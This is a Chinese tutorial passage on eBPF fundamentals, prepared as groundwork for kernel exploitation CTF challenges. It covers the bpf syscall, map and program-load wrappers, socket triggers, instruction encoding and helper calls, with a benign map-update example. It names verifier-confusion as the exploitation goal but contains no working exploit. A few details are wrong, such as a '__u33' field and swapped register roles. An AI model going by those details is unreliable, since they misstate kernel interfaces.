kernel-ebpf
前言
去年老是遇到kernel中有关ebpf的题目,这几天抽空学习一下
ebpf前置知识
ebpf简介
eBPF(extended Berkeley Packet Filter) 是一种可以在 Linux 内核中运行用户编写的程序,而不需要修改内核代码或加载内核模块的技术。简单说,eBPF 让 Linux 内核变得可编程化了。但是这里就有一个问题,内核允许用户编写的程序是一件很危险的事情,所以他实际上是在特权上下文中(如操作系统内核)运行沙盒程序。
通过ebpf,用户可以通过一系列指令编写程序,在程序被加载后需要经过检验,验证通过后会通过JIT (Just-in-Time) 编译成机器码执行。
为了更加便捷,eBPF还支持在eBPF指令中直接调用函数(被称为Helper函数)。
eBPF还提供map等数据结构用来与用户态之间传递信息;
在相关漏洞利用中,一般是想方法绕过严格的eBPF检验,通过漏洞混淆检验的过程,使得检验(模拟执行)结果和实际JIT编译运行结果不一致,从而造成安全漏洞,进一步转化为方便利用的类型。
ebpf基础
通过系统调用号为321的系统调用bpf可以使用eBPF相关功能。glibc并没有提供了包装函数,需要我们进行syscall:
#include <linux/bpf.h>
#include <unistd.h>
#include <asm/unistd_64.h>
int bpf(int cmd, union bpf_attr *attr, unsigned int size) {
syscall(__NR_bpf, cmd, attr, size);
};
参数
cmd标识bpf的行为(类型应为enum bpf_cmd)。常用的有:BPF_PROG_LOAD用于加载并验证eBPF程序,写好了eBPF程序就用此参数上传。返回一个文件描述符(fd)以供使用。BPF_MAP_CREATE用于创建一个eBPF map,以键值对(key-value)的形式存储数据。返回一个文件描述符(fd)以供使用。BPF_MAP_LOOKUP_ELEM与BPF_MAP_UPDATE_ELEM、BPF_MAP_DELETE_ELEM分别用来寻找、更新和删除map中的值(value)/键值对(key/value pair)BPF_MAP_GET_NEXT_KEY寻找map中的下一个键(key)BPF_MAP_FREEZE冻结map的写权限(包括通过bpf调用实现的),此时检验(verifier)过程会将map中的值当作常数BPF_PROG_TEST_RUN用于测试运行eBPF,测试用输入(data/context)及输出在参数union bpf_attr *attr中给出完整版见此
参数
unsigned int size一般设置为sizeof(attr)参数
union bpf_attr *attr根据cmd的不同有不同的格式,该参数类型为union bpf_attr *,为一个包含多种结构体的联合体指针。该类型完整原型太长了,我们只看部分:(翻译并补充了部分注释)
union bpf_attr {
...
struct { /*用作BPF_MAP_CREATE命令的匿名结构体 */
__u32 map_type; /* 枚举 bpf_map_type 中的一种 */
__u32 key_size; /* key的大小(字节) */
__u32 value_size; /* value的大小(字节) */
__u32 max_entries; /* 一个map的最大入口数 */
__u32 map_flags; /* BPF_MAP_CREATE 相关
* flags 标志在上边定义
*/
__u32 inner_map_fd; /* fd 指向内部map */
__u32 numa_node; /* numa 节点 (仅在
* BPF_F_NUMA_NODE 设置时有效).
*/
...
};
struct { /* 用作BPF_MAP_*_ELEM命令的匿名结构体*/
__u32 map_fd; // 传入BPF_MAP_CREATE命令创建的map返回的fd
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags; // flag值规定了对应命令的行为
};
...
struct { /* 用作BPF_PROG_LOAD命令的匿名结构体 */
__u32 prog_type; /* 枚举 bpf_prog_type 中的一种 */
__u32 insn_cnt; // 指令长度
__aligned_u64 insns; // 传入指令的指针,事实上类型应该为struct bpf_insn **
__aligned_u64 license; // 一般为"GPL"
__u32 log_level; /* 检验报告的详细程度 */
__u32 log_size; /* 用户缓冲区的大小 */
__aligned_u64 log_buf; /* 用户提供的缓冲区 */
__u32 kern_version; /* 没用 */
...
};
...
struct { /* 用作BPF_PROG_TEST_RUN命令的匿名结构体 */
__u32 prog_fd; // 传入BPF_PROG_LOAD命令创建的map返回的fd
__u32 retval;
__u32 data_size_in; /* 输入: data_in的长度 */
__u32 data_size_out; /* 输入/输出: data_out的长度
* 返回 ENOSPC 如果 data_out
* 太小了.
*/
__aligned_u64 data_in;
__aligned_u64 data_out;
__u32 repeat;
__u32 duration;
__u32 ctx_size_in; /* 输入: ctx_in的长度 */
__u33 ctx_size_out; /* 输入/输出: ctx_out的长度
* 返回 ENOSPC 如果 ctx_out
* 太小了.
*/
__aligned_u64 ctx_in;
__aligned_u64 ctx_out;
__u32 flags;
__u32 cpu;
__u32 batch_size;
} test;
...
} __attribute__((aligned(8)));
其中,map_type的枚举类型为enum bpf_map_type,部分内容为:
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC, // 保留0作为无效类型
BPF_MAP_TYPE_HASH, // 哈希表,key_size和value_size不受限制
BPF_MAP_TYPE_ARRAY, // 数组,value_size不受限制,key_size限制为4(uint32)
BPF_MAP_TYPE_QUEUE, // 队列,value_size不受限制,key_size限制为0(没有键)
BPF_MAP_TYPE_STACK, // 栈,value_size不受限制,key_size限制为0(没有键),使用特有的Helper函数操作
...
}
prog的枚举类型为enum bpf_prog_type,部分内容为:
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC, // 保留0作为无效类型
BPF_PROG_TYPE_SOCKET_FILTER, // 用于过滤/修改socket接收的数据包
BPF_PROG_TYPE_KPROBE, // 附加到kprobe上的eBPF
BPF_PROG_TYPE_SCHED_CLS, // 实现流量控制(Traffic Control)的分类(过滤)
BPF_PROG_TYPE_SCHED_ACT, // 实现对流量控制(Traffic Control)的操作
BPF_PROG_TYPE_TRACEPOINT, // 附加到Linux内核终端trace points,来获得内核消息
...
}
调用模板
由此可见,参数union bpf_attr *attr是最重要且繁琐的参数。在eBPF Pwn中,我们往往只需要关注部分参数,下边给出一些调用模板:
#include <linux/bpf.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/unistd_64.h>
#define ptr_to_u64(val) (uint64_t)val
#define bpf(cmd, attr, size) syscall(__NR_bpf, cmd, attr, size)map相关
// 创建map, 一般类型为BPF_MAP_TYPE_ARRAY或BPF_MAP_TYPE_HASH
static int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries,
unsigned int map_flags) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.map_flags = map_flags,
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
// 根据key来查找value,传入指针
static int
bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
// 更新/插入key-value对
static int
bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
// 根据key来删除value
static int
bpf_delete_elem(int fd, const void *key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
};
return bpf(BPF_MAP_DELETE_ELEM, &attr, sizeof(attr));
}
// 根据key来获取下一个key
static int
bpf_get_next_key(int fd, const void *key, void *next_key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.next_key = ptr_to_u64(next_key),
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr, sizeof(attr));
}
bpf_create_map中的参数max_entries指的是map的最大容量(key-value对大于这个值不允许插入)
bpf_update_elem的flags参数为BPF_NOEXIST(key不存在时才会更新),BPF_EXIST(仅在key存在时更新)或BPF_ANY(两种情况均可)
prog创建
#define LOG_BUF_SIZE 0x400
char bpf_log_buf[LOG_BUF_SIZE];
int
bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
// 或者更加简便的
int
bpf_prog_load_once()
{
const struct bpf_insn insns[] = {
/* add your code */
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = ptr_to_u64(&insns),
.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn),
.license = ptr_to_u64("GPL"),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 2,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
eBPF触发模板
// 通过socket触发,要求cmd为BPF_PROG_TYPE_SOCKET_FILTER
#include <sys/socket.h>
int sockets[2];
int trigger1(int prog_fd, uint64_t* payload) {
socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char *buffer = (char *)payload;
return write(sockets[0], buffer, sizeof(buffer));
}
// 通过BPF_PROG_TEST_RUN触发
int trigger2(int prog_fd, uint64_t* payload) {
char buffer[TST_DATA_SIZE];
memset(buffer, 0, TST_DATA_SIZE);
memcpy(buffer + 0xe, payload, TST_DATA_SIZE - 0xe);
struct __sk_buff skb = {};
union bpf_attr tst_run_attr = {
.test.data_size_in = TST_DATA_SIZE,
.test.data_in = ptr_to_u64(&buffer),
.test.ctx_size_in = sizeof(skb),
.test.ctx_in = ptr_to_u64(&skb),
};
tst_run_attr.test.prog_fd = prog_fd;
return bpf(BPF_PROG_TEST_RUN, &tst_run_attr, sizeof(tst_run_attr)));
}
eBPF指令
在prog(BPF Program(BPF 程序))创建时需要提供指令struct bpf_insn *insns,也是eBPF程序的核心部分。在eBPF Pwn中,指令的编写在触发/利用漏洞中扮演重要角色。
在编写指令之前,我们需要搞明白eBPF的工作模式
这是bpf指令结构体,看着好像并不复杂,但麻雀虽小五脏俱全(想想我们做的vm的题目)
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
一条eBPF指令分为五个部分,分别是操作码,目的寄存器,源寄存器,(有符号)偏移和(有符号)立即数,长度为64bit(8字节)
编码格式:
存在宽编码格式指令,后接32bit无用保留区及第二个32bit的立即数,此时指令长度为128bit(16字节)(其实是两条指令拼一块)
操作码(code)分为8类,分别为:
BPF_LD从64位立即数(imm64, 仅允许宽指令)地址取值存入目的寄存器(src_reg)BPF_LDX从源寄存器(dst_reg)地址取值存入目的寄存器(src_reg)BPF_ST把立即数(imm)存入目的寄存器(dst_reg)对应地址BPF_STX把源寄存器(src_reg)数据存入目的寄存器(dst_reg)对应地址BPF_ALU32位算术操作BPF_JMP64位跳转操作BPF_JMP3232位跳转操作BPF_ALU6464位算术操作
BPF_LD(X)/BPF_ST(X)操作涉及取址,需同时提供取址大小(size),分别有:
BPF_Wword (32位)BPF_Hhalf word (16位)BPF_Bbyte (8位)BPF_DWdouble word (64位)
这里的word(字)的大小并不是16位而是32位
该操作还有不同的模式,参阅此处
其中BPF_ALU/BPF_ALU64中有14种不同的操作,常用的有:
带符号除法/取模操作在对应命令前加上
S即可(SDIV/SMOD)
完整版参阅此处
BPF_JMP32/BPF_JMP也有14种不同的类型,常用的有:
带符号比较操作在对应命令中间加上
S即可(JSGT,JSLE等)
比较特殊的指令有:
对于目的寄存器和源寄存器,有BPF_REG_0到BPF_REG_10一共11种,均为64位寄存器,这些寄存器的功能/对应关系如下(下用Rx代替BPF_REG_x):
参阅此处
R0 (rax): 函数调用返回值/BPF程序返回值
R1 (rdi): 在eBPF程序运行前自动赋值为ctx(不同的cmd参数对应着不同的类型,socket filter中为socket缓冲区),在调用函数时充当argv1
R2 (rsi): argv2
R3 (rdx): argv3
R4 (rcx): argv4
R5 (r8): argv5
R6 (rbx): 被调用方保留
R7 (r13): 被调用方保留
R8 (r14): 被调用方保留
R9 (r15): 被调用方保留
R10 (rbp): 只读寄存器,指向栈帧,用于访问栈
eBPF仅允许参数小于等于5个的函数,在设计时也要考虑这一点
eBPF指令编写
以上便是eBPF指令(struct bpf_insn)的细节,了解了这些我们便可以编写eBPF程序了。
一个eBPF程序事实上就是一个eBPF结构体数组,我们可以直接按照数组/结构体的声明方式直接一句一句地编写eBPF程序,但这样无异于手搓机器码,过于繁琐。
为了稍微简化eBPF程序的编写,Linux项目本身提供了一个宏定义头文件bpf_insn.h,我们可以把它复制下来作为头文件使用。
事实上这种方法只是将手搓机器码升级到了手搓汇编,在编写复杂功能eBPF时还是要用到第三方库(libbpf/libxdp等)
下面这个示例程序展示了我们该如何编写eBPF程序
// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"
/*
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio
*/
// int main() {
// bind_core(0);
// save_status();
// return 0;
// }
int main() {
struct bpf_insn bpf_prog[] = {
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
BPF_MOV64_IMM(BPF_REG_1, 0x1),
BPF_MOV64_IMM(BPF_REG_2, 0x2),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x10, 0x3),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x4),
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -0x8),
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_10, -0x10),
BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_4),
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN()
};
char log_buf[4096];
memset(log_buf, 0, sizeof(log_buf));
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (unsigned long)bpf_prog,
.insn_cnt = sizeof(bpf_prog) / sizeof(bpf_prog[0]),
.license = (unsigned long)"GPL",
.log_buf = (unsigned long)log_buf,
.log_size = sizeof(log_buf),
.log_level = 2,
};
int prog_fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
if (prog_fd < 0) {
fprintf(stderr, "BPF 加载失败: %s\n", strerror(errno));
fprintf(stderr, "Verifier 日志:\n%s\n", log_buf);
return 1;
}
printf("BPF 程序加载成功! fd = %d\n", prog_fd);
printf("Verifier 日志:\n%s\n", log_buf);
close(prog_fd);
return 0;
}
可以看出该程序仅仅是进行了一些意义不明的寄存器和栈操作,并没有什么实际用处。为了拓展程序功能,同时减少内核上下文切换的开销,ebPF提供了一系列Helper函数,来实现更强大方便的功能。
Helper函数
eBPF中的Helper函数是内核函数,运行在内核上下文,可以允许eBPF程序如同调用函数一样与内核交互
Helper函数功能强大,用途很广。目前一共有211个Helper函数,可以被分为map相关,trace程序相关,print相关,网络相关等类别
在eBPF pwn中,一般只需要关注部分常用/方便漏洞利用的Helper函数即可
调用函数的方法如下所示
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_NAME)传参规则
在调用Helper函数之前,我们先了解一下Helper函数的传参类型规则。以下是一个示例Helper函数原型:
const struct bpf_func_proto bpf_map_pop_elem_proto = {
.func = bpf_map_pop_elem,
.gpl_only = false,
.ret_type = RET_INTEGER,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_VALUE | MEM_UNINIT | MEM_WRITE,
};
其中我们需要注意三个类型:ret_type(类型为bpf_return_type), arg_type(类型为bpf_arg_type)及其后边或操作的参数标志(类型为bpf_type_flag)
参数类型
bpf_arg_type
/* 函数参数约束 */
enum bpf_arg_type {
ARG_DONTCARE = 0, /* 在helper函数中没有用的参数*/
/* 以下的约束在函数
* bpf_map_lookup/update/delete_elem() 中使用
*/
ARG_CONST_MAP_PTR, /* 常量(const)参数 用作指向bpf_map的指针 */
ARG_PTR_TO_MAP_KEY, /* 指向栈的指针,用作map的键(key) */
ARG_PTR_TO_MAP_VALUE, /* 指向栈的指针,用作map的值(value) */
/* 在函数原型bpf_memcmp()和其他访问eBPF程序栈上数据的函数使用 */
ARG_PTR_TO_MEM, /* 指向有效地址的指针(stack, packet, map value) */
ARG_PTR_TO_ARENA,
ARG_CONST_SIZE, /* 访问内存的字节数量 */
ARG_CONST_SIZE_OR_ZERO, /* 访问内存的字节数量(可以是0) */
ARG_PTR_TO_CTX, /* 指向context */
ARG_ANYTHING, /* 任意 (初始化的) 参数 */
...
ARG_PTR_TO_FUNC, /* 指向bpf函数的指针 */
ARG_PTR_TO_STACK, /* 指向eBPF栈(stack) */
ARG_PTR_TO_CONST_STR, /* 指向一个空字符(\x00)截止的只读字符串 */
...
}
ARG_CONST_MAP_PTR: 该类型可以由宏BPF_LD_MAP_FD(出自bpf_insn.h,见上文)传入map的文件描述符得到
ARG_PTR_TO_CTX: 该类型为BPF_REG_1在运行前被赋值的类型
返回值类型
bpf_return_type
/* helper函数返回值的类型 */
enum bpf_return_type {
RET_INTEGER, /* 函数返回整数(int)*/
RET_VOID, /* 函数什么也不返回 */
RET_PTR_TO_MAP_VALUE, /* 返回一个指向map元素值(value)的指针*/
RET_PTR_TO_SOCKET, /* 返回一个指向socket结构体的指针 */
RET_PTR_TO_TCP_SOCK, /* 返回一个指向tcp_sock结构体的指针 */
RET_PTR_TO_SOCK_COMMON, /* 返回一个指向sock_common结构体的指针 */
RET_PTR_TO_MEM, /* 返回一个指向内存的指针 */
RET_PTR_TO_MEM_OR_BTF_ID, /* 返回一个指向合法地址的指针或一个btf_id */
RET_PTR_TO_BTF_ID, /* 返回一个指向btf_id的指针 */
__BPF_RET_TYPE_MAX,
...
}
扩展部分增加了不少
RET_PTR_TO_XXX_OR_NULL类型,本质上是在原类型的基础上增加了标志PTR_MAYBE_NULL
这种类型在检验的时候会兼顾两种情况,在编写时要增加检验0的操作(if R0 == 0 then exit)
附加参数标志
bpf_type_flag
enum bpf_type_flag {
/* PTR 可能为 NULL. */
PTR_MAYBE_NULL = BIT(0 + BPF_BASE_TYPE_BITS),
/* MEM 是只读的。当在bpf_arg上应用时,表明该参数既可以是
* 可变内存也可以是不可变内存.
*/
MEM_RDONLY = BIT(1 + BPF_BASE_TYPE_BITS),
/* MEM 指向 BPF 保留的环形缓冲区(ring buffer reservation). */
MEM_RINGBUF = BIT(2 + BPF_BASE_TYPE_BITS),
/* MEM 在用户空间内. */
MEM_USER = BIT(3 + BPF_BASE_TYPE_BITS),
...
/* MEM 可以未初始化. */
MEM_UNINIT = BIT(7 + BPF_BASE_TYPE_BITS),
...
/* 大小在编译期就明确. */
MEM_FIXED_SIZE = BIT(10 + BPF_BASE_TYPE_BITS),
...
/* 内存必须在某些架构上对齐,
* 与MEM_FIXED_SIZE一起使用.
*/
MEM_ALIGNED = BIT(17 + BPF_BASE_TYPE_BITS),
/* MEM 将要被写入, 经常和 MEM_UNINIT 一起使用. Non-presence
* 不出现 MEM_WRITE 意味着 MEM 仅仅被读取. MEM_WRITE 在不与
* MEM_UNINIT 搭配时意味着该内存需要初始化,因为它也会被读取.
*/
MEM_WRITE = BIT(18 + BPF_BASE_TYPE_BITS),
__BPF_TYPE_FLAG_MAX,
__BPF_TYPE_LAST_FLAG = __BPF_TYPE_FLAG_MAX - 1,
};
这些参数可以以按位或的方式与ARG_PTR_TO_xxx组合
在寄存器章节有讲到,BPF_REG_1 ~ BPF_REG_5依次为Helper函数参数传递寄存器,BPF_REG_0存放Helper函数返回值,我们便可以根据参数编写正确的Helper调用。
Helper函数介绍
map相关Helper函数
bpf_map_lookup_elem
arg1 类型见上文
arg2 类型为ARG_PTR_TO_MAP_KEY,事实上用一个指向栈的指针即可
在map中根据key来查找value
返回值为一个指向map value的指针或NULL(0),需要判断空指针操作
const struct bpf_func_proto bpf_map_lookup_elem_proto = {
.func = bpf_map_lookup_elem,
.gpl_only = false,
.pkt_access = true,
.ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_KEY,
};
static void *(* const bpf_map_lookup_elem)(void *map, const void *key) = (void *) 1;
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
bpf_map_update_elem
更新/插入key-value对,flag参数为BPF_NOEXIST(key不存在时才会更新),BPF_EXIST(仅在key存在时更新)或BPF_ANY(两种情况均可)
和用户态调用参数一致
arg2, arg3类型均可以用指向栈的指针
如果成功返回0,失败则返回一个负的错误号
const struct bpf_func_proto bpf_map_update_elem_proto = {
.func = bpf_map_update_elem,
.gpl_only = false,
.pkt_access = true,
.ret_type = RET_INTEGER,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_KEY,
.arg3_type = ARG_PTR_TO_MAP_VALUE,
.arg4_type = ARG_ANYTHING,
};
static long (* const bpf_map_update_elem)(void *map,
const void *key,
const void *value,
__u64 flags) = (void *) 2;
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem)
写一个示例程序来展示效果:
1. 创建 BPF Array Map(2个条目,value 为 uint64_t)
2. 写入 map[0] = 0xaaaabbbb
3. 加载 BPF 程序到内核
4. 通过 socketpair + write 触发 BPF 程序执行
5. 读取 map[1] 并打印
/*
* eBPF 示例程序:通过 BPF Map 在用户态与内核态之间传递数据
*
* 整体逻辑:
* 1. 用户态创建一个 BPF Array Map(2个槽位)
* 2. 写入 map[0] = 0xaaaabbbb
* 3. 加载一段 BPF 字节码程序到内核
* 4. 通过 socketpair + write 触发 BPF 程序执行
* 5. BPF 程序:读取 map[0],加 0x10,写入 map[1]
* 6. 用户态读取 map[1],验证结果
*/
#include "./kpwn.h"
/* 将指针强转为 uint64_t
* 因为 bpf_attr 中的指针字段类型是 __u64,需要显式转换 */
#define ptr_to_u64(val) (uint64_t)val
/* 封装 bpf 系统调用
* 所有 BPF 操作(创建map、加载程序等)都通过同一个系统调用号 __NR_bpf 完成
* 区别在于第一个参数 cmd 不同 */
#define bpf(cmd, attr, size) syscall(__NR_bpf, cmd, attr, size)
/* 全局 map 文件描述符,用于在 main() 和 bpf_prog_load_once() 之间共享 */
int map_fd;
/* =========================================================
* 用户态辅助封装函数(wrapper)
* 本质是对 bpf() 系统调用的二次封装,简化调用方式
* ========================================================= */
/*
* bpf_create_map - 在内核中创建一个 BPF Map
*
* @map_type: map 类型(如 BPF_MAP_TYPE_ARRAY、BPF_MAP_TYPE_HASH)
* @key_size: key 的字节大小
* @value_size: value 的字节大小
* @max_entries: 最多可存储的条目数
* @map_flags: 创建标志(0 表示无特殊标志)
*
* 返回值:成功返回 map 的文件描述符(fd),失败返回 -1
*/
static int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries,
unsigned int map_flags) {
/* 填充 bpf_attr 联合体,内核通过这个结构体接收参数 */
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.map_flags = map_flags,
};
/* 调用 BPF_MAP_CREATE 命令,内核创建 map 并返回 fd */
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
/*
* bpf_lookup_elem - 从 BPF Map 中查找一个元素
*
* @fd: map 的文件描述符
* @key: 指向 key 的指针(用户态地址)
* @value: 指向 value 缓冲区的指针,内核会将找到的值写入此处
*
* 返回值:成功返回 0,key 不存在返回 -1(errno = ENOENT)
*/
static int bpf_lookup_elem(int fd, const void *key, void *value) {
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key), // 内核需要 u64 类型的地址
.value = ptr_to_u64(value), // 内核将结果写回这个地址
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
/*
* bpf_update_elem - 向 BPF Map 中写入(新增或更新)一个元素
*
* @fd: map 的文件描述符
* @key: 指向 key 的指针
* @value: 指向 value 的指针(写入此值)
* @flags: BPF_ANY(不存在则创建,存在则更新)
* BPF_NOEXIST(仅创建,key 已存在则失败)
* BPF_EXIST(仅更新,key 不存在则失败)
*
* 返回值:成功返回 0,失败返回 -1
*/
static int bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags) {
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
/* =========================================================
* BPF 程序加载
* ========================================================= */
#define LOG_BUF_SIZE 0x800
/* BPF 验证器(verifier)日志缓冲区
* 当 BPF 程序加载失败时,内核会将错误原因写入此缓冲区 */
char bpf_log_buf[LOG_BUF_SIZE];
/*
* bpf_prog_load_once - 编写并加载 BPF 字节码程序到内核
*
* 该 BPF 程序逻辑(伪代码):
* val = map_lookup(map_fd, key=0) // 读取 map[0]
* if val == NULL: exit
* r6 = *val // r6 = 0xaaaabbbb
* r6 += 0x10 // r6 = 0xaaaacbbb
* ret = map_update(map_fd, key=1, value=r6) // map[1] = r6
* if ret != 0: exit
* return 0
*
* 返回值:成功返回 prog_fd(程序文件描述符),失败返回 -1
*/
int bpf_prog_load_once() {
const struct bpf_insn insns[] = {
/* --- 保存 ctx 指针 ---
* BPF 程序入口时 r1 = ctx(socket 上下文),先保存到 r9 备用 */
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
/* --- 第一次 map_lookup_elem:查找 map[0] --- */
/* r1 = map_fd(map_lookup 的第一个参数:map 文件描述符)
* BPF_LD_MAP_FD 是一个宏,展开为两条指令(imm64 立即数加载) */
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
/* 在栈上 [fp-8] 处存入 key=0(4字节,DW=双字=8字节,值0填满)
* BPF 栈帧指针是 r10(fp),向低地址增长 */
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x0),
/* r2 = &key,即栈上 key 的地址(map_lookup 的第二个参数) */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),
/* 调用内核 BPF helper:map_lookup_elem(r1=map, r2=&key)
* 返回值 r0 = 指向 map[0] value 的指针,若 key 不存在则 r0=NULL */
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
/* 如果 r0 != 0(即指针有效),跳过下一条 EXIT 指令 */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
/* r0 == NULL(key 不存在),直接退出 */
BPF_EXIT_INSN(),
/* --- 读取 map[0] 的值 --- */
/* r6 = *(uint64_t *)(r0 + 0),即读取 map[0] 的 value(0xaaaabbbb) */
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
/* r0 = 0(清零返回值,避免 verifier 报错) */
BPF_MOV64_IMM(BPF_REG_0, 0),
/* --- 对值进行运算 --- */
/* r6 += 0x10,即 0xaaaabbbb + 0x10 = 0xaaaacbbb */
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x10),
/* --- 第二次调用:map_update_elem 将结果写入 map[1] --- */
/* r1 = map_fd(update 的第一个参数) */
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
/* 在栈上 [fp-8] 处存入 key=1 */
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x1),
/* r2 = &key=1(update 的第二个参数) */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),
/* 将 r6(运算结果)存到栈上 [fp-16],作为 value */
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -0x10),
/* r3 = &value(update 的第三个参数) */
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),
/* r4 = BPF_ANY(标志:key 存在则更新,不存在则创建) */
BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),
/* 调用内核 BPF helper:map_update_elem(r1, r2=&key, r3=&value, r4=flags)
* 成功返回 r0=0,失败返回负数 */
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
/* 如果 r0 == 0(update 成功),跳过下一条 EXIT */
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 1),
/* update 失败,退出 */
BPF_EXIT_INSN(),
/* 正常结束:返回 0 */
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN()
};
/* 填充程序加载参数 */
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER, // 程序类型:socket 过滤器
.insns = ptr_to_u64(&insns), // 指令数组地址
.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn), // 指令条数
.license = ptr_to_u64("GPL"), // 许可证(某些 helper 需要 GPL)
.log_buf = ptr_to_u64(bpf_log_buf), // verifier 日志输出缓冲区
.log_size = LOG_BUF_SIZE,
.log_level = 2, // 日志详细级别(2=最详细)
};
/* 调用 BPF_PROG_LOAD,内核 verifier 验证通过后返回程序 fd */
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
/* =========================================================
* 触发 BPF 程序执行
* ========================================================= */
/* 用于 socketpair 的一对文件描述符
* sockets[0]:写端(发送数据)
* sockets[1]:读端(附加了 BPF 程序,收包时触发) */
int sockets[2];
/*
* trigger1 - 通过 socketpair 触发 BPF 程序执行
*
* @prog_fd: 已加载的 BPF 程序文件描述符
* @payload: 写入 socket 的数据(内容不重要,仅用于触发)
*
* 原理:
* Socket Filter 类型的 BPF 程序会在数据包**到达 socket 时**自动执行。
* 向 sockets[0] 写数据 → 数据到达 sockets[1] → 触发 BPF 程序
*/
int trigger1(int prog_fd, uint64_t *payload) {
/* 创建一对双向 Unix 域数据报套接字(类似管道,但双向) */
socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
/* 将 BPF 程序附加到 sockets[1]
